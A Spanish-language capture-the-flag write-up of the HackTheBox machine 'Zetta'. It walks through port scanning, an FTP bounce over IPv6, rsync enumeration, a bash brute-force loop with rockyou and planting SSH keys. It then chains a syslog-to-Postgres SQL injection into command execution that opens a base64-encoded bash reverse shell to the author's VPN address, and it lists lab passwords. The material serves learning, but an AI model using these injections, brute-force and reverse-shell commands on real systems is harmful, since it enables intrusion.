Inicio Zetta Writeup
Entrada
Cancelar

Zetta Writeup

10.10.10.156 Zetta (hard machine) En este articulo vengo a traer otra máquina de dificultad dificil, una de mis máquinas favoritas tocando un poco de enumeración por Ipv6 , brute force por ssh,ftp bounce attack, enumeración en rsync y con una escalada de privilegios de una SQLI a un RCE por postrgres bastante interesante basandonos en algunos logs

Information Ghatering / ScanPorts

  • Comenzamos con la fase de recolección de información haciendo un escaneo por TCP en todos los puertos con nmap
1
2
$ nmap -p-  -sS -vvv  --min-rate 2000 -n -Pn 10.10.11.156 -oG allPorts 

-p- -> escanearemos todos los rangos de puertos (65535)

-sS -> análisis utilizando TCP SYN Este tipo de escaneo, está basado en la velocidad de escaneo, de ahí la versatilidad que mencionamos anteriormente, ya que permite escanear miles de puertos por segundo en una red que se encuentre desprotegida o carezca de un firewall, no termina la conexión TCP/SYN - Envias un SYN - Recibes un SYN/ACK - Envias ResetPacket

-vvv -> verbose para que mediante vayas descubriendo puertos se reporten en la terminal

–min-rate 2000 -> paquetes enviados no mas lentos que 2000 paquetes por segundo, envío de paquetes super rápido

-n -> que no aplique resoluci+on de DNS para que no tarde el escaneo

-Pn -> ni que me detecte el descburimiento de hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
nmap -p-  --open -sS -vvv  --min-rate 2000 -n -Pn 10.10.10.156 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 13:09 CST
Initiating SYN Stealth Scan at 13:09
Scanning 10.10.10.156 [65535 ports]
Discovered open port 80/tcp on 10.10.10.156
Discovered open port 21/tcp on 10.10.10.156
Discovered open port 22/tcp on 10.10.10.156
SYN Stealth Scan Timing: About 46.33% done; ETC: 13:10 (0:00:36 remaining)
Completed SYN Stealth Scan at 13:10, 65.71s elapsed (65535 total ports)
Nmap scan report for 10.10.10.156
Host is up, received user-set (0.068s latency).
Scanned at 2023-02-23 13:09:46 CST for 66s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 65.87 seconds
           Raw packets sent: 131116 (5.769MB) | Rcvd: 52 (2.288KB)

por ahorita no hay mucho información al respecto asi que la pasaré scripts de reconocimiento para ver mas a detalle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sCV -p21,22,80 10.10.10.156 -oN targeted                             
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 13:26 CST
Nmap scan report for 10.10.10.156
Host is up (0.069s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Pure-FTPd
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 2d8260c18c8d39d2fc8b995ca247f0b0 (RSA)
|   256 1f1b0e9a91b1105f75209ba08efde4c1 (ECDSA)
|_  256 b50ca12c1c71dd88a428e089c9a3a0ab (ED25519)
80/tcp open  http    nginx
|_http-title: Ze::a Share
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.73 seconds

-sCV -> escaneo lanzando scripts que detecten servicios y versiones

-p -> especeficando los puertos a escanear

-oN y todo nuestro output lo guardamos en una captura formato nmap con el nombre de targeted

no hay mucho que decir al respecto, incluso pasando el whatweb para ver mas a fondo lo que emplea el servicio web no hay mucho información al respecto, asi que veré el sitio web

aqui a simple vista hay algo que me da mucha curiosidad, recordamos que en el escaneo tiene el ftp abierto (puerto 21) nos menciona en esta parte que Admiten FTP nativo con FXP habilitado. También admiten RFC2428. Y si logramos bajar mas vemos un user y una password pero que tenemos aqui realmente? primero me puse a investigar sobre el RFC2428 y FXP en este artículo bastante descriptivo nos dice lo siguiente. En descripción son extensiones FTP para IPv6 y NAT,el documento especifica extensiones a FTP que permitirán que el protocolo trabajo sobre IPv4 e IPv6. Además, el marco definido puede soportar protocolos de red adicionales en el futuro. en pocas palabras menciona que dichas conexiones por ftp están soportadas para ipv4 y también ipv6. Y FXP es un método para pasar archivos entre servidores FTP sin emplear un cliente. Revisando la web no hay algo de lo cual me pueda aprovechar, asi que pienso en un FTP Bounce Attack, ataque por el cual puedes mandar comandos PORT para que el servidor se conecte a algun puerto recibir su ipv6 y posteriormente hacer asi escaneos de puertos pero por ipv6

Podemos conectarnos por netcat para ejecutar comandos FTP escribiendolos directamente. Para ello utilizaremos el comando EPRT, tal y como indica el RFC 2428: El comando EPRT permite la especificación de una dirección extendida para la conexión de datos. La dirección extendida DEBE consistir en el protocolo de red, así como las direcciones de red y de transporte.

1
2
EPRT<space><d><net-prt><d><net-addr><d><tcp-port><d>
<net-ptr> es 1 para IPv4 y 2 para IPv6.

entonces me pondré en modo escucha en una terminal donde recibiré la ipv6 y en otra me logueare con ese user y password para enviar el EPRT, para ello vamos a identificar nuestra ipv6 que se enviara en el EPRT, mi ipv6 -> dead:beef:2::1004 quedando de la siguiente forma, con netcat nos metemos al puerto 21 , ponemos user y password y por ultimo enviamos EPRT EPRT |2|dead:beef:2::1004|4444|

  1. El número 2 especifica cadenas IPv6
  2. seguido de nuestra ipv6 - dead:beef:2::1004
  3. el puerto al cual quieren enviar la petición en este caso a mi puerto 4444

Nota : debe ser superior al 1024 Teniendo esto, me pongo en modo escucha con ncat(otra versión de netcat que en mi caso si funciona para ipv6 ya que nc no me lo acepta)

Terminal 1

1
$ ncat -6 -nlvp 4444

FTP bounce attack

Termianl 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nc 10.10.10.156 21
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 500 allowed.
220-Local time is now 20:35. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
USER 2D5SDLf7btv80v1CiYSXcAuqwzUs6SA4
331 User 2D5SDLf7btv80v1CiYSXcAuqwzUs6SA4 OK. Password required
PASS 2D5SDLf7btv80v1CiYSXcAuqwzUs6SA4
230-This server supports FXP transfers
230-OK. Current restricted directory is /
230-0 files used (0%) - authorized: 10 files
230 0 Kbytes used (0%) - authorized: 1024 Kb
EPRT |2|dead:beef:2::1004|4444|     

Una vez ya teninedo esto en nuestra segunda terminal y le damos al enter

y al listar con -l en nuestra primera terminal vemos el verbose de la ipv6 del servidor de la victima Una vez ya teniendo su ipv6 haré otro escaneo de puertos con nmap pero por ipv6

IPv6 Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nmap -p-  --open -sS -vvv  --min-rate 2000 -n -Pn -6 dead:beef::57a:71c:23:77a -oG allPortsIpv6
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 20:01 CST
Initiating SYN Stealth Scan at 20:01
Scanning dead:beef::57a:71c:23:77a [65535 ports]
Discovered open port 22/tcp on dead:beef::57a:71c:23:77a
Discovered open port 21/tcp on dead:beef::57a:71c:23:77a
Discovered open port 80/tcp on dead:beef::57a:71c:23:77a
Discovered open port 8730/tcp on dead:beef::57a:71c:23:77a
Completed SYN Stealth Scan at 20:02, 21.63s elapsed (65535 total ports)
Nmap scan report for dead:beef::57a:71c:23:77a
Host is up, received user-set (0.070s latency).
Scanned at 2023-02-23 20:01:56 CST for 22s
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE REASON
21/tcp   open  ftp     syn-ack ttl 63
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
8730/tcp open  unknown syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.72 seconds
           Raw packets sent: 65535 (4.194MB) | Rcvd: 65535 (3.932MB)

Aqui ya nos reporta otro puerto y buscando services default port 8730 el servicio que corre ahi normalmente es rsync, haremos otro analisis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nmap -sCV -p21,22,80,8730 -6 dead:beef::57a:71c:23:77a -oN targetedIpv6                        
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 20:05 CST
Nmap scan report for dead:beef::57a:71c:23:77a
Host is up (0.071s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     Pure-FTPd
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 2d8260c18c8d39d2fc8b995ca247f0b0 (RSA)
|   256 1f1b0e9a91b1105f75209ba08efde4c1 (ECDSA)
|_  256 b50ca12c1c71dd88a428e089c9a3a0ab (ED25519)
80/tcp   open  http    nginx
|_http-title: Ze::a Share
8730/tcp open  rsync   (protocol version 31)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.72 seconds

rsync : Rsync, que significa “sincronización remota”, es una herramienta de sincronización de archivos remotos y locales. Utiliza un algoritmo que minimiza la cantidad de datos copiados, moviendo solo las partes de los archivos que cambiaron en HackTricks vemos una enumeración de carpetas compartidas por ipv6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ rsync -av --list-only rsync://[dead:beef::57a:71c:23:77a]:8730    
****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******

You must have explicit, authorized permission to access this rsync
server. Unauthorized attempts and actions to access or use this 
system may result in civil and/or criminal penalties. 

All activities performed on this device are logged and monitored.

****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******

@ZE::A staff

This rsync server is solely for access to the zetta master server.
The modules you see are either provided for "Backup access" or for
"Cloud sync".


bin            	Backup access to /bin
boot           	Backup access to /boot
lib            	Backup access to /lib
lib64          	Backup access to /lib64
opt            	Backup access to /opt
sbin           	Backup access to /sbin
srv            	Backup access to /srv
usr            	Backup access to /usr
var            	Backup access to /var

aplicando un listado de directorios vemos los que nos muestra aqui pero realmente buscando un rato no hay nada interesante pero pueden haber directorios ocultos que no nos muestra en la terminal al igual me puse a investigar archivos de configuración de rsync y normalmente se encuentran en la carpeta /etc buscando entre tantos archivos de ocnifugracion encontré la conf de rsync

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ rsync -av rsync://[dead:beef::57a:71c:23:77a]:8730/etc/rsyncd.conf  
****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******

You must have explicit, authorized permission to access this rsync
server. Unauthorized attempts and actions to access or use this 
system may result in civil and/or criminal penalties. 

All activities performed on this device are logged and monitored.

****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******

@ZE::A staff

This rsync server is solely for access to the zetta master server.
The modules you see are either provided for "Backup access" or for
"Cloud sync".


receiving incremental file list
-rw-r--r--          2,930 2019/08/31 14:44:14 rsyncd.conf

sent 20 bytes  received 50 bytes  46.67 bytes/sec
total size is 2,930  speedup is 41.86

me pasaré ese directorio a mi máquina

y lo que nos interesa solamente es este archivo “rsyncd.conf”

al final de la linea vemos lo siguiente

Vemos que hay un directorio llamado home_roy, por lo que intentamos acceder a los archivos y carpetas del directorio.

Al usar rsync, vemos que requiere una contraseña para acceder al directorio, por lo que creamos un script bash simple que aplicará fuerza bruta a la contraseña.

BruteForce sshpass with rsync

Me crearé un script en bash rápido para hacer un ataque de fuera bruta directamente pasando sshpass si es que el usuario roy es el que está por ssh y encontrar su password directamente pasandole de diccionario el rockyou

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

for i in $(cat /usr/share/wordlists/rockyou.txt)
do
    sshpass -p $i rsync -q rsync://roy@[dead:beef::57a:71c:23:77a]:8730/home_roy
    if [[ $? -eq 0 ]]
    then
        echo "La Password es: $i"
        exit
    fi
done

roy:computer ahora nos queda volvernos a conectar con rsync proporcionando la password que encontramos

La contraseña computer no funciona sobre SSH (ya que rsync usa una base de datos de autenticación separada), pero puedo cargar mis claves ssh. Entonces crearé mis claves ssh y mi clave pública la guardaré como authorized_keys en la carpeta que me crearé como .ssh y le daré permisos para que solo yo el propietario pueda leerla y escribir, como se observa en la siguiente imagen

ahora simplemente nos tenemos que conectar como el usuario roy por ssh y tenemos la primera flag

Privilege Escalation - Post Exploitation

al listar el contenido en el directorio actual de trabajo en home_roy vemos un .tudu.xml

Tudu es una herramienta de línea de comandos para administrar listas jerárquicas de TODO, para que puedas organizar todo lo que tienes que hacer de una manera simple y eficiente. No utiliza ningún backend de base de datos, sino archivos XML sin formato.

y dentro de ello vemos que hace uso de algunos archivos git

1
<title>Move my dotfile sync from rsync to git.</title>

1
2
3
4
$ roy@zetta:~$ find / -type d -name "*.git" 2>/dev/null
/etc/pure-ftpd/.git
/etc/nginx/.git
/etc/rsyslog.d/.git

entraré a rsyslog ya que si vemos el .tudu.xml nos habla de algunos archivos de logs sobre una base de datos que es postgres daré un git log y después un git show y vemos un par de cosas que se han cambiado

  1. Hay una plantilla configurada para insertar el mensaje de syslog en la tabla syslog_lines
  2. Las credenciales de la base de datos se muestran a continuación.
  3. Hay un comentario sobre el uso local7.info para las pruebas

Intenté iniciar sesión con las credenciales pero no funcionó. Creo que esto se debe a que el archivo ha sido editado pero aún no está comprometido con el repositorio de git. no puedo leer el pgsql.conf , por lo que no tengo las últimas credenciales. buscando acerca de los logs del sistema me encuentro lo siguiente.

1
2
3
4
5
6
7
8
9
$ roy@zetta:/etc/rsyslog.d$ find / -name "*postgres*" 2>/dev/null | grep "log"
/etc/logrotate.d/postgresql-common
/var/log/postgresql
/var/log/postgresql/postgresql-11-main.log.2.gz
/var/log/postgresql/postgresql-11-main.log.5.gz
/var/log/postgresql/postgresql-11-main.log.4.gz
/var/log/postgresql/postgresql-11-main.log.3.gz
/var/log/postgresql/postgresql-11-main.log
/var/log/postgresql/postgresql-11-main.log.1

‘Los archivos de registro en /var/log/postgresqlcontienen registros de errores relacionados con PostgreSQL. Según la sugerencia en el compromiso de git, puedo usar local7.infopara enviar mensajes syslog a la base de datos. Veo que puedo desencadenar un error usando una comilla simple, lo que haŕe es usar logger y establecer la prioridad que es local7.info

El comando logger registra las entradas en el log del sistema. El comando logger es una forma rápida de agregar mensajes al archivo /var/log/syslog desde la línea de comandos”. Ejecute el comando tail para ver los archivos log.

ahora voy a tratar de aplicar inyecciones sql ya que vimos la falta de sanitización en el código basandome en los logs que me arroja el sistema para ello me iré a HackTricks buscando algun POC de inyección y ver si consigo un RCE HackTricksPocRCE_Postgres Empezaré a inyectar valores de esta forma como anteriormente lo mecioné basandome en los logs, para esto abrí otra terminal y me loguee por ssh como roy otra vez para que en una visualizará los logs y en la otra aplicara las inyecciones Arriba tenemos viendo los logs y abajo con logger estableciendo la prioridad las consultas, el objetivo de esto es hacer que a nivel de logs ya no me salieron estos errores. Intentando varias veces acomodando la comilla sin que me reportará errores en el log de esta forma es como lo pude acomodoar, comenzando con un parentesis abriendo query seguido de la comilla para ocasionar la inyección, me seguía reportando errores así que lo mejor fue separarlo de otro valor con comilla con un NULL cerrando con un parentesis y seguido de un ;

SQLI to RCE postgres

1
roy@zetta:~$ logger -p local7.info "NULL',NULL);

nuestro POC de Hacktriks donde el valor indica ‘id’ colocaré una traza icmp para comprobar si tenemos ejecución remota de comandos, y quedaría de la siguiente forma.

1
roy@zetta:~$ logger -p local7.info "NULL',NULL); DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ping -c 1 10.10.14.7';-- -"

el unico problema aqui son las comillas, asi que me puse a investigar acerca de postgres como podia mandar una consulta omitiendo las comillas y me enontré con algo que sirvió, en lugar de utilizar comillas ‘’ podía usar $$ entonces los dolar los puse y como es un comando dolar lo tuve que escapar quedando ahora nuestra inyección perfecta

1
roy@zetta:~$ logger -p local7.info "NULL',NULL); DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM \$$ ping -c 1 10.10.14.7 \$$;-- -"

entonces me pondré con tcpdump a la escuche de trazas por mi interfaz tun0 que es la de la vpn y si le damos al enter vemos que tenemos traza icmp, ya no nos reporta errores en los logs y por lo tanto hay una ejecución remota de comandos :D! Me voy a enviar una reverse shell a mi equipo pero en base64 para que no me de problemas a la hora de colocar el one liner de la reverse shell

1
2
$ echo -n "bash -i >& /dev/tcp/10.10.14.7/443 0>&1" | base64;echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43LzQ0MyAwPiYx

ahora esta cadena la voy copiar y sustituir en donde esta la traza decodificandolo en base64 y pipearlo con bash para que se me interprete

1
roy@zetta:~$ logger -p local7.info "NULL',NULL); DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM \$$ echo \"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43LzQ0MyAwPiYx\" | base64 -d | bash \$$;-- -"

me pondré en escucha con netcat para entablarme una reverse shell y tenemos una shell como el usuario postgres si retrocedemos dos directorios hacía atrás logramos ver un psql.history y si vemos el archivo vemos una password al final password : sup3rs3cur3p4ass@postgres pero en realidad esta password no es para root, volviendo a ver el archivo .tudu.xml al final hay algo sobre un esquema de contraseña compartida. El esquema de contraseña es @userid así que lo intentaré.

1
<title>Change shared password scheme from &lt;secret&gt;@userid to something more secure.</title>

cambiaré el final de postgres a root password : sup3rs3cur3p4ass@root y tenemos ya otra máquina más hecha:D!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.